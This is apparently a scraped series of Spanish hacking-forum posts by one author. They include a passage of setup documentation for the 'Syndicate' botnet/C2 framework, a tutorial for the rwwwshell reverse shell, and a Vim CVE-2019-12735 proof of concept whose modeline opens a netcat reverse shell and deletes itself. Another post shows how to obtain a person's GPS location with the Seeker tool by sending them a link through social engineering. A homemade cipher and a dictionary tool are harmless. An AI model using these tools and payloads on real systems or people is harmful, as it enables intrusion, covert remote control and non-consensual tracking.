  • Cómo puede observar, hay caracteres rellenados automáticamente, puede editarlos introduciendo los parámetros correspondientes cómo: "-i, --iterations" para las Iteraciones "-sn, --security-number" para el "número de seguridad", "-c, --security-chars" para los Caracteres de seguridad y "-d, --decrement-number" para el Número de disminución o puede editarlos en el No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.
  • Ser root no es lo mismo en Linux que en Syndicate, no se confunda; significa que todos los rook's ahora pertenecerán a todos los jacob's que son root, aunque esto es relativo, ya que si el maximo de bot's es mayor a "0" no se incluirá si llegó a su maximo.
  • Puede usar el No tienes permitido ver enlaces. Registrate o Entra a tu cuenta para Syndicate, si desea saber cuanto puede durar la generación y la comparación de su Hash antes de salir al campo de batalla.

Esperamos unos instantes, y para confirmar que todo salío perfecto, ejecuté:

Código: bash
./addadmin.py -show $params



Ese comando le mostrará todos los Jacob's registrados.

Ahora pasemos a algo mejor. Creemos nuestro rook para un jacob:


Código: bash
 ./addbot.py -u <Nombre del rook> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada> -a <Jacob/s> $params


Vemos un parámetro nuevo, "-a" o también podría llamarse "--admin". Si no razonaste correctamente, te digo que es para agregar a los Jacob's a el nuevo rook.

Notas:


  • Puedes crear tantos rook's para jacob's dependiendo del maximo de bot's
  • El parámetro "-a, --admin" es de tipo lista, lo que quiere decir que para agregar a más de uno, tienes que usar una "," (coma) y sí el nombre tiene espacios usa comíllas cómo apoyo. Ejemplo: --admin "usuario, soy un usuario, otro"

Eso no es todo, necesitamos configurar No tienes permitido ver enlaces. Registrate o Entra a tu cuenta usando No tienes permitido ver enlaces. Registrate o Entra a tu cuenta mas los parámetros ya utilizados en anteriores herramientas.

Código: bash
./auto-config.sh $params


Usted vería cada Clave, Sub-Clave y Valor. Los segundos de duración por cada uno, varian dependiendo de sus recursos, esto se debe a que se está encriptado cada dato.

A pesar de que se muestre la configuración al finalizar, tal vez usted quiera apreciarla para un después. Lo puede hacer así:


./evie-config.py -print-configuration $params

Notas:


  • Aunque No tienes permitido ver enlaces. Registrate o Entra a tu cuenta es un script, la herramienta que tiene el poder de hacer esta mágia es No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, pero es mejor automatizar todo, para ahorrar tiempo.
  • Puede obtener más información del significado de las Claves, Sub-Claves y Valores desde el mismo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.

Ahora si que viene lo bueno

Ejecutamos No tienes permitido ver enlaces. Registrate o Entra a tu cuenta para iniciar el servidor:


Código: bash
 ./evie.py -P <Frase de contraseña de la clave privada> $params


Sí ejecutamos por primera vez, verá algo así:

Código: text
(00:33:04 ~ 26/11/2019)[Evie:ADVERTENCIA]:---:!: El par de claves aún no son son generados ... generando ...
(00:33:04 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Tamaño a generar: "2048"
(00:33:11 ~ 26/11/2019)[Evie:INFORME]:-------:*: El par de claves fueron generadas ...
(00:33:11 ~ 26/11/2019)[Evie:INFORME]:-------:*: Desencriptando ...
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: ¡Clave desencriptada!
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: Generando clave secreta ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Clave secreta generada -> b22f 34b4 1c48 b8dd dad3 dcfc d0b6 986d 081f 80f3 959d 3de0 1075 6ea1 dfc2 ad45
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: Generando un nuevo token de acceso ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Token de acceso generado -> 8502382584368ce06c336c793750815f400697daaff7dc8244e849b75135d638
(00:33:12 ~ 26/11/2019)[Evie:ADVERTENCIA]:---:!: No se encontraron los requerimientos necesarios para usar el protocolo de forma (más) segura. Usando HTTP ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Escuchando en :: http://0.0.0.0:8081/hmKReYEJrMWB8l48yvsENaLlMT1ijqIiU2nU6RGiKnanCZEkimT0lh2xW-xS1xYP6rJX1uWmxbp2bOeSVCCfJQ


No explicaré todo, porque hay cosas que son sencillas y otras ya las explique, pero sí que hay algo nuevo. ¿Qué deminios es esa ruta?; la ruta se genera de forma aleatoria y segura, puede usar los archivos de configuración para evitarlo, pero recomiendo que lo deje así.

Lo negativo de usar una ruta aleatoria es que si el servidor se "apaga" y se inicia nuevamente, tendrá otra ruta, lo que quiere decir que los Jacob's tendran que saberlo; es recomendable sólo cuando hay pocos Jacob's.

Ahora para que Evie tenga algún sentido en la vida, que tal si ejecutamos la No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, pero antes quiero aclarar algo que tiene que ver con los complementos, aunque aún no me adentraré en aguas turbulentas, por ahora estamos en la orilla del mar (Eso es en otra sección). Prosigamos:

Tenemos que tener en cuenta que los complementos necesitan requerimientos, cosa que mencionaré en la instalación, aunqué podemos edítar No tienes permitido ver enlaces. Registrate o Entra a tu cuenta del payload y remover o agregar lo que necesitemos.

Bien, una vez aclarado, necesitamos la Clave Pública de Evie y la Clave Privada del Rook; La obtenemos de la siguiente forma:


Código: bash
./show_server_keys.py $params | more
...
Clave Pública:
...
Clave Privada:
...


Usamos "more" para delimitar la salida y ver lo que necesitamos, la clave pública. La seleccionamos, copiamos y la guardamos en una ruta segura, cómo "/tmp":

Código: bash
nano /tmp/<Nombre de la clave pública> # Una vez abierto "nano" pegamos la clave pública y la guardamos
...


Hacemos el mismo procedimiento, pero esta vez será para la Clave Privada del Rook:

Código: bash
 ./addbot.py -show -option keys -P <identificador del rook>:<Frase de contraseña para desencriptarla> $params


Nota: Puede asignarle permisos de escritura y lectura dependiendo de su usuario al par de claves para mayor seguridad.

Recordatorio: Cómo ve, deje un espacio para que no se guarde el comando en el historial

Esta vez vemos nuevos parámetros con argumentos interesantes:



  • -show: Mostramos los usuarios disponibles.
  • -option: Usamos una clave especifica para ver algo especifico de la información del usuario. Podemos usar el parámetro "-h, --help" para ver la ayuda dónde también nos mostrara las claves que acepta.
  • -P: La frase de contraseña de la clave privada, siguiendo la siguiente sintaxis: <identificador del rook>:<Frase de contraseña para desencriptarla>

Buscamos el rook y la clave privada desencriptada, hacemos el mismo procedimiento que hicimos con la clave pública de Evie

Código: bash
nano /tmp/<Nombre de la clave privada> # Una vez abierto "nano" pegamos la clave privada y la guardamos
...


Ahora sí, ejecutemos el No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Código: bash
./payload.py -b <Identificador del Rook> -pass <Frase de contraseña del Rook> -a <Dirección de Evie> -p <Puerto> -pub-key <Clave pública de Evie> -priv-key <Clave privada del Rook> -proto <Protocolo, puede ser http o https> -sleep-check <Intervalos en que se hace una petición para ver si hay comandos en cola> -db-path <El nombre de la base de datos> -db-pass <Frase de contraseña de la base de datos>


Explico poco a poco lo que siento que pueden tener dudas:


  • -sleep-check: Rook hace una petición a el/los servidor/es para verificar si algún Jacob propuso un comando en cola cada intervalo de segundo determinado
  • -db-path: Los rook's tienen bases de datos que se almacenan en el directorio temporal del sistema operativo (encriptada, por supuesto), si no especificamos un nombre se genera de forma aleatoria y si ejecutamos otra vez el payload tendremos otra ruta aleatoria, por éso, es mejor especificarla.
  • -db-pass: La frase de contraseña para cifrar la base de datos

Nota: Puede usar el parámetro "-no-verbose" para que no imprima el resultado de alguna operación

Esto es una prueba, por lo que todo se hará por la consola, ya hablare sobre como usar la programación a nuestro favor.

Necesitamos interactuar con el Rook para ello ejecutamos No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.


Código: bash
./control.py $params


Puedes observar en las Las capturas de pantalla cómo se vería

Nota: Quiero aclarar que la aplicación es una DEMO, no es para entornos reales, por lo tanto no te sorprendas si no es igual de bonita que Vim ;).

Nos mostrara primero un panel de inicio de sesión, tenemos que rellenar los datos deacuerdo a lo aprendido

Al terminar de iniciar sesión lo primero que hará será enviar un comando "ping" para verificar si sus credenciales son correctas, luego enviara el comando "listBots" para obtener la lista de rook's que le pertenecen.

Sí ocurre un error puede ser por los siguientes motivos:



  • No tiene privilegios para listar rook's o ejecutar ping
  • Ingreso una ruta incorrecta
  • El servidor lo está bloqueando
  • El servidor no existe
  • Ingreso datos incorrectos
  • Faltan valores
  • No existe la clave pública o la clave privada

Eso es sólo unos cuantos motivos por lo que no podrá iniciar sesión, recuerde tiene que ingresarlos exactamente cómo se creó; exceptuando a iterations, porque si usted coloca un número mayor al verdadero pero los demás datos son correctos, no habrá problemas.

Sistema anti fuerza bruta:

El sistema anti fuerza bruta de Syndicate es sencillo, primero tendremos que comprender que es el Hash dinámico, cosa que ya explique en las aclaratorias.

En Syndicate al crear un usuario además de la información de perfil, existen algunos datos de seguridad, cómo son los Caracteres de seguridad, Número de seguridad, Número de disminución e Iteraciones; Los cuales su funcionamiento principal es generar un Hash. El hash puede tener el mismo dato (Como una contraseña), pero si se introduce cualquier dato diferente al resto de los datos de seguridad el Hash será diferente.

Mientras el proceso sea más lento, mejor en un buen sentido, ¿Por qué?, simplemente porque si un atacante quiere hacer fuerza bruta al servidor, obligatoriamente tiene que tener: El usuario, Frase de contraseña, Los datos de seguridad, La clave pública del servidor, la clave privada y la clave única inclusive.

De hecho otra cosa que es muy importante en cuanto a la seguridad es la Clave única que cambia cada vez que el Jacob al que le pertenece, inicia sesión.

Claro que eso no es todo, el atacante debe conocer la ruta del servidor que puede ser una aguja en un pajar.

Sumando todo esto, también nos vemos que en la configuración especificamente las claves honeypot y login vemos unas sub claves, como pueden ser:



  • Login:


    • max_retry: El maximo de intentos fallídos
    • retry_seconds: El tiempo de espera
    • denied_method: El método de denegación que pueden ser:
      • forIP: Bloquea a un usuario por dirección IP. Tiene sus pros y contras; entre sus pros puede ser que no es tan fastidioso, ya que si un atacante está bloqueado por dirección IP, nosotros (Los usuarios) podemos acceder cómo si no fuera pasado nada, pero entre sus contras, muy fácil de bypassear
      • forRetry: Bloquea a un usuario por el nombre en vez de la dirección IP. Es bueno porque así no se bypassea tan fácil, pero también nos bloquearía a nosotros.
  • honeypot: Si un dato coincide con lo requerido, se ejecuta una de estas operaciones:


    • user_agent_black_list: La lista para bloquear a un usuario por Agente de usuario
    • blacklist: La lista para bloquear a un usuario por Dirección IP
    • honeypot_list: En vez de bloquear ¿Qué tal si usaramos una herramienta cuando haya un coincidencia?; así es, por ejemplo podriamos usar nmap, cuando haya una coincidencia en la lista para escanear a ese usuario. *Necesitamos especificar las herramientas a usar en la clave tools *

Nota: También disponemos de expresiones regulares en todas las listas. Pueden ver más informacion en el No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

¿Eso es todo?... ¡NO!. Si ingresamos por la URL del servidor en nuestro navegador, vemos que nos salta una autenticación le digo que ese es el panel de control web falso, es mera distracción 3:).

De hecho trato de simular Apache en la información que se pueda obtener. Puedes editar los valores en el No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y las plantillas en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


¿Segunda parte?

Lo mostrado anteriormente fue un poco de la documentación. Puede encontrar mucha más información acerca del proyecto, pero aún me falta mucho que redactar, así que poco a poco lo ire actualizando.

Respecto a la segunda parte tratara sobre cómo usar el proyecto para construir una Botnet Punto a Punto, cómo usar la red en cadena para comunicarse con otro Evie y está vez co-protagonizare esta pelicula con un compañero del foro .

Puede encontrar la documentación en mi repositorio, donde también podras descargar el proyecto: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Capturas de pantalla:

Inicio de sesión para los Jacob's:



Interactuando con un Rook:



Red en cadena:



Compartiendo un Rook:



Creador:

~ DtxdF (Jesús D. Colmenares)

Agradecimientos:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta: Gracias a tí, si estás leyendo ésto. Tú me ayudaste mucho con los complementos antes de que me surgiera la idea, es admirable que alguien dedique parte de su tiempo a escribir código a alguien que apenas sabe su nombre, pero mucho más a alguien que seguira aportando a este proyecto. Muchas gracias Kirari.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta: Gracias por aportar a la comunidad con su proyecto No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, gracias a él, muchos complementos de Syndicate existen.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta: Creador de No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, una pequeña pero poderosa libreria para hacer desastres con el router usando UPnP :D. Gracias por compartirlo y por dar vida a una caracteristica especial de los rook's

Sí hay alguien que me falta, comunicame inmediantamente

Extras:

Le prometí a un compañero del foro "AXCESS", que le dedicaría un *Gato*, por mera diversión:



*El gato de AXCESS reaccionando sobre el post*

~ DtxdF
#57
Computer-Kingdom

Hace mucho tiempo no escribo para Underc0de, pues resulta que hoy les traigo un aporte pequeño pero interesante. Es más una utilidad que nos permitirá buscar palabras informáticas, ya sea que tengamos dudas sobre una nueva palabra que nos pasa por la mente o nuestros recuerdos estén introvertidos.

No quiero llenarlos de palabras, así que continuemos con lo bueno...

La descarga:

Cómo siempre nuestro buen Git se encargá de todo, asi qué:

Código: text

git clone https://github.com/Kirari-Senpai/Computer-Kingdom
cd Computer-Kingdom
python3 -m pip install -r requirements.txt
chmod 755 ./kingdom
./kingdom




En la captura de pantalla que se aprecía arriba, podemos observar dos opciones; La primera nos permite buscar una palabra especifica y la segunda nos permite buscar palabras por patrones.

Eligamos la opción "1" y vemos que aparecen una tabla con una serie de letras a seleccionar, YO, seleccionare la "H", luego escribire la palabra "Hacker" (Ojalá no tenga una mala definición):





¡Efectivamente!, Una definición muy bonita para lo que es en verdad.

¿Que tal si ahora buscamos palabras por patrones?. Lo hacemos con la opción dos y seleccionamos una letra, igual que la opción "1":



Igualmente seleccioné la letra "H". Ahora coloquemos el patrón/palabra "http" y veamos que aparece:



Ahora lo que debemos seleccionar es el indíce de la coincidencia y se abrira nuestro navegador por defecto.

Bueno gente, muchas gracias por leer, que tengan una feliz vida.

Creador y Colaborador:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta: Creador.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta: Colaborador.

- DtxdF
#58
Python / Cifrado de Shalom
Agosto 16, 2019, 12:59:59 PM
Cifrado de Shalom




Hace ya algunos días hice público un método de cifrado que cree/descubrí usando saltos en un mapa de caracteres, por lo que no necesitare explicar más que su uso en Python. Aunque puedes hacerlo desde: "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Su instalación es verdaderamente sencilla.

Comencemos:


Código: text

git clone https://github.com/DtxdF/Shalom.git
cd Shalom
python3


Su uso igualmente:

Código: python
from shalom_v2 import Shalom
shalom = Shalom(index=-6)
text = shalom.encrypt('Hola!', [-4, 9, 15, -7, -5])
print('Encrypt: ' + str(text))
Encrypt: [(74, 10), (126, -3), (129, -9), (96, 13), (34, 11)]
print('Decrypt: ' + shalom.decrypt(text))
Decrypt: Hola!


Hay otros parametros que es recomendable usar en la vida real. Esos son:

Código: python
shalom.hard(rang=n)


Dónde "n" es un número cualquiera, pero hay que tener cuidado porque en una máquina con bajos recursos podría tardar dependiendo de la contraseña (mapa de caracteres)

Este se encargara de agregar tantos caracteres dependiendo del rango para aumentar la seguridad

Código: python
shalom.random(rang=n)


Este se encargara de usar el algoritmo de shuffle para que coloque aleatoriamente todos los caracteres.

¿Prestaste atención?, ¿te imaginas combinar los dos últimos métodos?.

Nota: Hay tres parámetros que acepta la función Shalom, siendo estos: "index", indicando cuanto debe mover los caracteres del mapa de caracteres, "rest", el resto para obfuscar los saltos y "password", que puede ser una lista o un texto.

Espero les guste y lo compartan, les deseo buen día ...

- DtxdF
#59


¿Preparados? ...

Prepárense, cierren las ventanas, las cortinas, preparen el casco de aluminio y pónganse cómodos. Hoy les quiero hablar de los métodos de criptografia o codificación, pero ..., esta vez la crearan ustedes.

Ya hacía tiempo "Y mucho" que existen los cifrados y codificaciones, pero les quiero dar la oportunidad que puedan crear o descubrir, solo con su mente, un algoritmo para este fin.

En mi caso yo les traeré uno llamado el cifrado de shalom, que se me ocurrió mientras visualizaba un abecedario.

Empecemos ...

Primero hay que tener en cuenta algunos datos "Explicare todo poco a poco":


  • Mapa de caracteres, en mi caso un simple abecedario "Aunque si somos creativos y queremos ir mas allá, podríamos utilizar la tabla ASCII": Nos servirá como tabla de caracteres
  • Palabra: La palabra que usaremos "Tendrá que contener las letras del abecedario o mapa de caracteres". En mi caso será "Hola"

Hay más variables que necesitaremos, pero las explicare más adelante.

El abecedario ..., Como ya mencione anteriormente el abecedario o también podríamos usar algún mapa de caracteres se encarga de tener un orden en los caracteres para el cifrado y podemos llamarlo "Clave o Contraseña", ya que lo debe tener tanto el emisor como el receptor; Aunque te estés imaginando el abecedario ordenado, te digo amigo/a mío/a no sera necesario.

Usaremos para explicar mejor el paradigma, el abecedario de forma ordenada.

A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T; U; V; W; X; Y; Z

Otro dato a tener en cuenta que modificara el abecedario es el Indice. Este se encarga de mover a la derecha o izquierda las letras del abecedario y invierte el orden de ese segmento; Si se desea mover a la derecha, se coloca un número positivo y, si se desea mover a la izquierda se coloca un número negativo.

Usare un Indice de 6. Por lo tanto quedaría de esta forma:

Z; Y; X; W; V; U; A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T

Un truco para hacer lo que hice en cuestión de segundos es, que si un número es positivo, el "6" en mi caso, contare de la última letra del abecedario, osea de derecha a izquierda, 6 veces y colocaría esas letras al otro extremo del abecedario o mapa de caracteres invertidos en orden. Lo contrario seria si el número seria negativo.

Ciframos ..., Vamos a cifrar la palabra "Hola". Primero debemos ubicar todas las letras que utilizaremos y las marcaremos para tener un orden; Posteriormente vamos a definir otra variable llamada Saltos, donde esos saltos significan el retroceso o avance, que definirán otra letra. Ejemplo en caso de la H(ola), le quiero aumentar 4 saltos, así que empezamos a ver que letra sera ahora con los saltos añadidos:

L. Por que si "Saltamos" de letra en letra, cuatro veces "Caeremos" en la "L", según nuestro abecedario modificado con nuestro indice.

Colocaremos en la esquina superior-derecha el número de saltos que usamos invertidos "Como si se tratase de una potencia", en este caso, "-4".

Pasare a cifrar las demás letras. H(4) significa ahora L(-4), O(-3) significa ahora L(3), L(2) significa ahora N(-2), A(-1) significa ahora U(1)

Los números que acompañan a las letras dentro de los paréntesis son los indices de grado de estos. Por lo tanto el mensaje seria ahora: "L(-4)L(3)N(-2)U(1)".

NOTA: Si notan algo peculiar es que los indices de grados de los saltos están en secuencia descendente "Ustedes pueden usar cualquiera".

Resto de diferencia ..., Se encarga de aumentar o disminuir los números de los indices de grado y aumentar un extra de seguridad. En mi caso elegiré el "6" para el resto de diferencia.

Algo que hay que tener en cuenta antes de continuar es que si usaremos un número positivo/negativo en el resto de diferencia, el receptor debe asignarle el signo contrario para que le de el número correcto.

Bien, una vez aclarado, hagamos las operaciones: L(-4+6)L(3+6)N(-2+6)U(1+6) = L(2)L(9)N(4)U(7)

Enviamos el mensaje ...

Algo que hay que tener en cuenta es que solo 3 datos los tienen que tener tanto el emisor como el receptor y solo 1 de estos es modificable y se podrá enviar públicamente.

Entre los no modificables serán y lo deben de tener de forma privada:


  • El abecedario o el mapa de caracteres
  • El resto de diferencia

El dato que sera modificable y público por el emisor será:


  • El indice

Para dar otro extra de confidencialidad cambiaremos las letras a números. Esto lo hacemos solo enumerando todas las letras del abecedario modificado por el indice. En mi caso es:

L(2)L(9)N(4)U(7) = 18(2)18(9)20(4)6(7)

Ahora lo que debemos enviar, solamente será el indice y el mensaje.

El receptor ...

Ahora para poder decifrarlo con los únicos datos que tenemos: "18(2)18(9)20(4)6(7)", mensaje y "6", resto de diferencia. Lo hacemos de la siguiente manera:

Enumeramos las letras del abecedario y convertimos los números que están al lado de los paréntesis en letras:

18(2)18(9)20(4)6(7) = L(2)L(9)N(4)U(7)

Luego con el resto de diferencia hacemos una operación con los números dentro de los paréntesis para obtener el valor verdadero:

L(2)L(9)N(4)U(7) = L(2-6)L(9-6)N(4-6)U(7-6) = L(-4)L(3)N(-2)U(1)

Ahora si en el paréntesis aparecen números positivos saltaremos letras del abecedario a la derecha y lo contrario si es a la izquierda. Esto quedaría de la siguiente forma:

L(-4)L(3)N(-2)U(1) = H(-4)O(3)L(-2)A(1) = HOLA

Eso es todo compañeros/as, estuve planeando el algoritmo desde ayer. Espero les sea de utilidad y Espero que comenten su propio algoritmo. Cualquier duda comentalo en este post.

- DtxdF
#60


Tutorial como geolocalizar una persona por medio de su dirección IP y su GPS

¿Un título un poco largo?, pues si, pero la explicación sera más "corta" de lo que parece. Hace tiempo hice un tutorial de como rastrear por medio de su dirección IP (Tengo que hacer énfasis que la ubicación sera la de el ISP, no la real), pero mucha gente, quizás nueva en el tema o nueva en el foro, aún tiene esa duda. Asi que aquí explicare como por medio de una API puedes ratrearla y como extra veremos como usando el GPS de nuestro Android lo podemos hacer con un poco de ingeniería social.

Dense

Este es un pequeño programa que lo puedes encontrar en "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta", que tiene como objetivo facilitar el rastrear una dirección IP, y digo facilitar ya que usa una API; Por lo tanto puedes utilizarla para crear tu propio Geolocalizador.

Código: text

git clone https://github.com/DtxdF/Dense
cd Dense
php -S 127.0.0.1:80 &
firefox http://127.0.0.1:80 &


¿Que hice?


  • Clono el repositorio
  • Accedo a la carpeta
  • Inicio el servidor de pruebas de php
  • Abro la aplicación web por medio de firefox

El uso es realmente sencillo, lo único que debes hacer es introducir la dirección IP o Nombre de dominio a rastrear. Imagen para que entiendas mejor:



Ya seleccionado su objetivo "En mi caso usare No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" ::)







-Que programa tan aburridoooo!!- Pues crea el tuyo simplemente utilizando la API desde la siguiente dirección y sintaxis:

Código: text

https://ip-api.com/json # te mostrara la información de tu dirección IP
https://ip-api.com/json/<Dirección IP o Nombre de dominio>

Ejemplo:

https://ip-api.com/json/underc0de.org



¿Lo intentaste desde tu navegador? -Si, pero ahora quiero editar todos esos datos-, bueno para hacer eso simplemente usa curl "Para pruebas" o tu lenguaje de programación favorito. Mira estos ejemplos:

Código: python

# -*- coding: UTF-8 -*-

import requests

ip_to_track = 'underc0de.org'
data = requests.get("http://ip-api.com/json/" + ip_to_track).json()

for key, value in data.items():
    print("%s: %s" % (key, value))



Código: php

<?php

$ip_to_track = 'underc0de.org';
$data = json_decode(file_get_contents('http://ip-api.com/json/'.$ip_to_track));

foreach ($data as $key => $value) {

    echo sprintf('%s: %s', $key, $value);

}

?>


¿Sencillo?, ¿Insatisfecho?, -Claro que estas insatisfecho-, ya que no te proporciono la ubicación real o ¿si?. ¿Recuerdas que es la ubicación de nuestro ISP?

Seeker. No te puedo dejar a pesar de lo lejos que estas ...

Esta herramienta nos proporciona una fiabilidad de 29-30 metros de proximidad, mientras que en iphone es de 65 metros de proximidad!. Vamos a instalarla y ejecutarla:

En Kali linux, Ubuntu y parrot OS

Código: text

git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 install.sh
./install.sh


En BlackArch

Código: text

git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 arch_install.sh
./arch_install.sh


Termux

Código: text

git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 termux_install.sh
./termux_install.sh


Ejecutamos ./seeker.py, enviamos por medio de ingeniería social (Hazlo con tu responsabilidad bajo una simulación, como lo estoy haciendo yo) el link de ngrok que nos muestra la interfaz. Miren lo que vera el cliente:



El cliente pincha el botón y activa la ubicación



El cliente sigue con la interacción



Pantalla del atacante. Visualizamos los datos obtenidos en nuestro ataque



Conclusión

Quiero que experimente no solo el uso, si no, la personalización, para que fomenten el aprendizaje y mejoren sus habilidades.

Tutorial sobre BreadBad: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Recuerda deja tu comentario; Es la única forma de pago que te ofrezco ...

- DtxdF
#61


rwwwshell (Reverse WWW Shell Tunnel):

Recuerdas el episodio cuando eliot deja una puerta trasera en Evil Corp pero luego tenia que desactivarla?

Para lograr esto se conecta a la maquina infectada de Evil Corp y procede a limpiar sus huellas usando el comando SHRED

Tutorial de rwwwshell:

Lo que más me costo encontrar es información acerca de esta herramienta, espero que a ustedes no le pase lo mismo. Ahora vayamos directo al grano.

Para usar rwwshell tendremos que descargarla o mejor dicho clonarla:

Código: text

git clone https://github.com/DtxdF/rwwwshell.git


Accedemos al directorio y ejecutamos:

Código: text

cd rwwwshell
perl rwwwshell-2.0.pl


Código: text
Nos aparecerá un poco de información y algo llamado "modos":




Estos modos definen básicamente quien seras en este juego, un "master" (El atacante) o un "slave" (Una victima),
Antes de ejecutar No tienes permitido ver enlaces. Registrate o Entra a tu cuenta vamos a configurarlo:

Código: text

vim rwwwshell-2.0.pl # Lo abrimos con nuestro editor preferido
# Si nos dirigimos a la linea 24 nos damos cuenta de que aqui comienza la configuración y en la linea 53 termina!
# En mi caso yo solo configurare dos variables
$LISTEN_PORT=8080; # El puerto en escucha en caso de ser un master y para conectar en caso de ser un slave
$SERVER="127.0.0.1"; # El host que estara en escucha en caso de ser un master y el host a conectar en caso de ser un slave


Archivo de configuración completo:

Código: text

#
# GENERAL CONFIG (except for $MASK, everything must be the same
#                 for MASTER and SLAVE is this section!)
#
$MODE="POST";                    # GET or POST
$CGI_PREFIX="/cgi-bin/orderform";# should look like a valid cgi.
$MASK="vi";                      # for masking the program's process name
$PASSWORD="THC";                 # anything, nothing you have to rememeber
                                 # (not a real "password" anyway)
#
# MASTER CONFIG (specific for the MASTER)
#
$LISTEN_PORT=8080;      # on which port to listen (80 [needs root] or 8080)
$SERVER="127.0.0.1";    # the host to run on (ip/dns) (the SLAVE needs this!)

#
# SLAVE CONFIG (specific for the SLAVE)
#
$SHELL="/bin/sh -i";    # program to execute (e.g. /bin/sh)
$DELAY="3";             # time to wait for output after your command(s)
#$TIME="14:39";         # time when to connect to the master (unset if now)
#$DAILY="yes";          # tries to connect once daily if set with something
#$PROXY="127.0.0.1";    # set this with the Proxy if you must use one
#$PROXY_PORT="3128";    # set this with the Proxy Port if you must use one
#$PROXY_USER="user";    # username for proxy authentication
#$PROXY_PASSWORD="pass";# password for proxy authentication
#$DEBUG="yes";          # for debugging purpose, turn off when in production
$BROKEN_RECV="yes";     # For AIX & OpenBSD, NOT for Linux & Solaris

# END OF CONFIG         # nothing for you to do after this point #


Probando y ejecutando estilo eliot:

Código: text

perl rwwwshell-2.0.pl master # Esperamos a que se conecte la victima


Código: text

perl rwwwshell-2.0.pl slave # La victima se conecta a la maquina atacante




*Algo que no hace eliot es eliminar la puerta trasera usando el comando shred, lo que hace es cifrarlo el número de veces que le pasemos como argumento, para hacer esto tendremos que pasarle el siguiente parámetro "-u"*

- DtxdF
#62
Hola, como les va a todos?

Acabo de registrarme en "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" y de una vez estoy realizando un reto que consiste en que hashee (a MD5) el string proporcionado por la página lo mas rápido que pueda.

Lo hago rápidamente pero no es suficiente, pienso que como el string está codificado base64, no me da el resultado correcto cuando lo hasheo, así que lo descodifico y vuelvo a hashearlo pero tampoco es suficiente, así que decido crear un bot que busque el string y haga lo mismo que hice anteriormente pero tampoco es suficiente.

Este es la página del reto: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Necesito ayuda es que me orienten ya que quiero aprender, muchas gracias :D

EDITO:

Disculpen por no haber presentado una imagen, pense que ya era suficiente con el link pero me di cuenta de que es dinamico, aqui les dejo una imagen:

#63
Nueva vulnerabilidad en "Vim" y "Neovim" permite la ejecución de comandos



No hace mucho el investigador Armin Razmjou descubrio un fallo que hace vulnerable a cualquier Linux que cuente con el famoso y querido editor de texto "Vim" y su Fork "Neovim", Vulnerabilidad registrada como CVE-2019-12735.

Pero ... ¿Que es Vim?

Vim, por sus siglas en Ingles "Vi improved" es una versión mejorada del editor de texto vi, presente en todos los sistemas UNIX. Su autor, Bram Moolenaar, presentó la primera versión en 1991, fecha desde la que ha experimentado muchas mejoras.

Vulnerabilidad

Este fallo es debido a una caracteristica llamada "modelines", que basicamente le permite al editor de texto (Incluyendo Neovim) cargar desde cualquier fichero una configuración personalizada.

Esta caracteristica viene habilitada por defecto en estos editores, caracteristica que si el usuario lo desea la puede desactivar, el problema yace es que la mayoria de usuarios no lo hacen, ocasionando un posible control total a un atacante.

Como apoda el titulo de este articulo con un simple archivo de texto con un modeline especifico y simple es posible conseguir ejecutar codigo directamente en la memoria del sistema. Aunque Vim y Neovim pueden ejecutar los comandos peligrosos dentro de un sandbox, al utilizar "source" en la linea del codigo se consigue salir de este aislamiento.

Prueba de Concepto

En este articulo no solo quiero tocar teoria, tambien practica, para eso solo crearemos un fichero de texto llamado "poc.txt" (Para este ejemplo), donde contendra el siguiente codigo modificado de "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" para conseguir el control del sistema remotamente o lo que se podria simplificar como una shell remota con una conexión inversa utilizando la navaja suiza "Netcat":

Código: text
:!nohup nc <ip> <puerto> -e <shell> >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm <nombre del archivo> >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


Ejemplo

Código: text
:!nohup nc 127.0.0.1 4444 -e /bin/sh >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm poc.txt >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


Claro ya tenemos que tener a netcat a la escucha:

Código: text
nc -vlp 4444


Una vez conectado podremos ejecutar comandos remotamente:

Código: text

root@dtxdf ~# nc -vlp 9999
listening on [any] 9999 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42730
whoami
root




Parches y soluciones

